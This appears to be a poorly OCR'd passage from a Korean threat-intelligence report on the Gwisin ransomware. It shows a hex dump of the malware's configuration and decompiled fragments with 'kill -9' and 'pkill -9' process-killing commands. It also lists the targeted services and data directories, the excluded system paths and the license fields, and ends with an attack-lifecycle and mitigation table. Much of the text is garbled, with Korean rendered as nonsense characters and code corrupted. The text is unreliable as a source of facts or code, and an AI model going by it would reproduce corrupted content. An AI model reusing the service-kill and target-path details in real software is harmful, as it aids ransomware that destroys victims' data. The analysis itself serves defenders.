7b 22 64 62 22 3a 5b 22 62 69 6e 22 2c

18 ad c4 d1 2e fb 7b 07 07 02 b9 | 22 2¢ 22
a4 0d ee 26 61 37 5c d1 bS fd 46 L | 69 62 36
b5 87 fb d2 d2 a2 d6 2e d9 2e Oe |
17 fe df 19 46 a3 47 99 14 74 . fl || 73 79
93 ba 68 7e 9d 1d ae bS be 69 de 7 | 2¢ 22
42 a2 6c 39 03 be 7d 10 14 3b 80 i | 22 2¢
f4 87 fd 00 20 87 61 | 73 22 2¢
42 1f c1 71 6b 6d ee i) | 75 74 61
31 6f 19 05 Sb 3d 53 ANYS 2c 22 73 6b
cb 15 26 €3 c4 78 e6 | 22 68 74 74
76 4b f7 6c 38 75 52 B 2 | 22 6t 712
fc 8c 18 24 79 1a 2f | 2c 22 6d 61 e
€2 26 88 1b ad 62 bb | 74 67 72 65 73 “postgres*
cf 34 10 49 1b €6 7a i | 6e 67 6f 64 22 2c 22 65 6c 61 73 74 69 63 |mongod”, "elastic

@ HAr(Gwisin) HEYO Fo HQ
- BERY MHA W Z2HA BB

Apache, httpd, nginx, oracle, mysql, mariadb, postgres, mo|ngod, elasticsearch, jenkins,

gitlab, docker, svnserve, yona, zabbix, graylog, java
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EX
- = o

|l:|
f
>
|>

char vIS[8]; /7 [r

char s[4128]; /" [rs

strepy(vie,

*(__ml28i t _ ml28i *)Ewmmword C268);
strepy (v,

*(_ ml28i _mm_load_sil28((const _ m1281i *)&xmmword C27@);
51128 = _mm load 51128((_un;_ m1281 *)&xmmword C288);

*(_ ml28i 7 = _mm_lcad Sll?S((:cn;: m1281i *)&xmmword C298);
*(_ m128i 1 = _mm_load sil28((const _ ml123i *)&xmmword C2A8);
v12 = _mm_ load 51128((.,na. _ ml238i )&xmmwnrd c2Be);

strcpy(.,, "stop”);

v13 = _mm_leoad_sil23((const _ ml1231i *)&xmmword_C2Ca);

v14 = _mm load 51128(( st _ ml281i *)&xmmword_C2D@);

strcpy( 8, "* stop");
strepy(vls, ™ done\"");
strepy(vz, "kill -9 %s*");
strepy(&v2[12], "pkill -9 %s%");
memset(s, @, @x18a8ull);

080055fa: f55647dd |53 push rbx

08 08

- Y=o Mol E0Y

bin, boot, dey, etc, lib, lib64, proc, run, sbin, srv, sys, tmp , usr, var, bootbank, mbr, tardisks,

tardisks.noauto, vmimages

- T2 Y=o Y 42

/Information/Database/, /Information/korea_data/, /Information/, /Infra/, /var/www/,

/var/opt/, /var/lib/mysql/, /var/lib/postgresqgl/, /var/log/, /usr/local/svn/, /var/lib/docker,

/var/db/mong]|odb, /var/lib/mongodb/, /var/lib/elasticsearch/, /u01/,

/ORCL/,/var/lib/graylog-server/, /usr/local/
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IV) A (Gwisin) M0 T3}

AT TlHE HA(Gwisin) W0l = AR ERZ YRS A E HHAZ|= 7|50
f

FIIE[QACEH QHHEEE SO MH|A

, MHI~ 52 09 B2, )
@ 5% 3ol A MEYSo] HHBER HEY 3, S2E AHAR WO MY

"SERIAL", v158, &v132);

"LICENSE",
"VERSION"

v3(al, "SERIAL", v96, &v74);
_f Hetlenames % “ORG",
v3(al, "LICENSE", v97, &75); S,
3(al, "VERSION", v98, &v76); "SLP",
3(al, "ORG", v99, &77); BT 4
13 = 128i64; *TZC", V165
V78 = 512; )
while ( v13 ) -
{

12 = @;

v1i2 4= 4;

3(al, "OriginalDatabase"”, FileName, &v78); 175, &v140);

[HAl(Gwisin) #iMQ0f & Qs FIHT|s F7h)
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3.8

of 4 1&2 HolH 572 ti7tz TS 2+ #0 otz 7|¥el A2EZEY YEE

o =
HUS Sof WS HIfots 2O HQIEICH EHAY APT 32E Hopyy|2

FEAA XEHH = =0l El Az o
At 27ts00l 7PZE OZAE 177t S0 2C0t= 7rdstol 2 BHAE HESH 22 /48
OrEsto], SRS 2907 Ho| BX[St XtEHSh= 40| SRSt}

Ot2fl Cyber Attack Lifecycle Zt HHAEZ SAX7L 3T SA0 43 + UAYE Ffot a+=S

MAsH LiztohE, HojAtnE oy & & AS AO|Ch

Cyber Attack
Y Anze Aol the ot a2y
Lifecycle
gg Z4AH Of X| OSINT ME AX
qE a5 Al ) 82 +8 N Tl (Threat Intelligence) &FM
: Y BUHE, 98 H2 2UHE in
(Reconnaissance) Chaw S8jEs Yy oo Hsimn =8 FAH MHA
O/ S9 0| 2+2|Xt HO|X| Q5 == Xjct
Q& O|S90] #2|X} HolX| 219l 2 Y e & Yot 224
%7 8= 259 e 3H 2UHE
(Initial Compromise) VPN Z|2UA DXl /2 A O1= ML
P VPN HIOI7t S Fa FFE WA /2K 2B HE i
F7|5el pw #Y
Hy o 2 225
! H|™ A I EFX| Anti Virus
(Establish Foothold) RAT ST Alsy
et 45
Az|HE Z2h2 23 HEd @l gXl EDR &84
(Escalate Privileges)
e g
(Internal e HENI 291 WE HEHS o8 del 2UHEY IDS/IPS
Reconnaissance)
SMB, WinRM, RDP, SSH AH|A ot& Trust to Trust A2 HOf HZHO &84
e _ = s
X 22| MEZ RAT EAE HizZ W& HEHYI EafT JHAY &= Network APT &84
(Move Laterally)
MS-SQL H& A& (xp_cmdshell) Xp_cmdshell H|ZHg s} FU™ MA MH|A
M Mg . FW
= RAT ¥ ROf (C2 4 Outbound E2|T 2L
(Maintain Presence) SIEM
_ F/W
ooy | Outbound Ez{Z ZL|EE
55 24 SIEM
issi T AF TIFQI Ef Vi
(Complete Mission) ahof A HI A oY EX| Anti Virus
e Al2E 29 ClOJE| e &2 M
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